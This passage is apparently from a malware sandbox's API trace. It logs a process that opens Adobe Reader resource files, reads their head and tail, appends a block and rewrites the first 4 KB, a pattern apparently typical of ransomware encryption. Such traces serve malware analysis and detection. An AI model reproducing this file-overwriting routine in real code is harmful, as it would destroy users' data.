(lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.423] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.423] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6df2 [0043.423] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.423] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.423] ReleaseMutex (hMutex=0x128) returned 1 [0043.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb7c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb.txt", lpUsedDefaultChar=0x0) returned 27 [0043.423] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.425] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5df2 [0043.425] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.425] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5df2 [0043.426] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.426] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0043.426] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.426] CloseHandle (hObject=0x1c4) returned 1 [0043.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.427] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.427] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6ebc [0043.427] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.427] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.427] ReleaseMutex (hMutex=0x128) returned 1 [0043.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0043.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_BR.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb7c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_BR.txt", lpUsedDefaultChar=0x0) returned 30 [0043.427] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.429] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ebc [0043.429] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.429] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ebc [0043.430] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.430] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0043.430] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.430] CloseHandle (hObject=0x1c4) returned 1 [0043.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.431] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.431] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6ef0 [0043.431] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.432] ReleaseMutex (hMutex=0x128) returned 1 [0043.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sl.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb7c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sl.txt", lpUsedDefaultChar=0x0) returned 27 [0043.432] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.433] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ef0 [0043.433] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.433] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ef0 [0043.434] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.434] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0043.434] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.434] CloseHandle (hObject=0x1c4) returned 1 [0043.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.435] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.435] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x605a [0043.435] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.435] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.435] ReleaseMutex (hMutex=0x128) returned 1 [0043.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0043.435] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.zh_TW.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb7c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.zh_TW.txt", lpUsedDefaultChar=0x0) returned 30 [0043.435] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.436] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x505a [0043.436] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.437] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x505a [0043.437] WriteFile (in: hFile=0x1c4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.438] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0043.438] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.438] CloseHandle (hObject=0x1c4) returned 1 [0043.438] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.438] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.438] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x63c [0043.438] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.438] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.438] ReleaseMutex (hMutex=0x128) returned 1 [0043.438] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.439] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz.fca", lpUsedDefaultChar=0x0) returned 7 [0043.439] ReadFile (in: hFile=0x1c4, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x63c, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x318f2bc*=0x63c, lpOverlapped=0x0) returned 1 [0043.440] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0043.440] WriteFile (in: hFile=0x1c4, lpBuffer=0x2720078*, nNumberOfBytesToWrite=0xbc4, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2720078*, lpNumberOfBytesWritten=0x318f2d0*=0xbc4, lpOverlapped=0x0) returned 1 [0043.440] CloseHandle (hObject=0x1c4) returned 1 [0043.440] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can03.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can03.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.441] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.441] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa1c00 [0043.441] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.441] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.441] ReleaseMutex (hMutex=0x128) returned 1 [0043.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0043.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can03.ths", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can03.ths", lpUsedDefaultChar=0x0) returned 9 [0043.441] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0043.443] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.444] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa0c00 [0043.444] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.445] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa0c00 [0043.445] WriteFile (in: hFile=0x1c4, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.446] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0043.446] WriteFile (in: hFile=0x1c4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.446] WriteFile (in: hFile=0x1c4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.446] CloseHandle (hObject=0x1c4) returned 1 [0043.446] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl28.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl28.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.447] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.447] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4589f [0043.447] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.447] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.447] ReleaseMutex (hMutex=0x128) returned 1 [0043.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0043.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl28.hsp", lpUsedDefaultChar=0x0) returned 9 [0043.447] ReadFile (in: hFile=0x1c4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.449] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4489f [0043.449] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.450] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4489f [0043.451] WriteFile (in: hFile=0x1c4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.451] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0043.451] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.451] CloseHandle (hObject=0x1c4) returned 1 [0043.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\danphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.452] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.452] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xaf9 [0043.452] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.452] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.452] ReleaseMutex (hMutex=0x128) returned 1 [0043.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="danphon.env", lpUsedDefaultChar=0x0) returned 11 [0043.452] ReadFile (in: hFile=0x1c4, lpBuffer=0x2720078, nNumberOfBytesToRead=0xaf9, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2720078*, lpNumberOfBytesRead=0x318f2bc*=0xaf9, lpOverlapped=0x0) returned 1 [0043.453] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0043.453] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1081, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f2d0*=0x1081, lpOverlapped=0x0) returned 1 [0043.454] CloseHandle (hObject=0x1c4) returned 1 [0043.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est133.lex" (normalized: 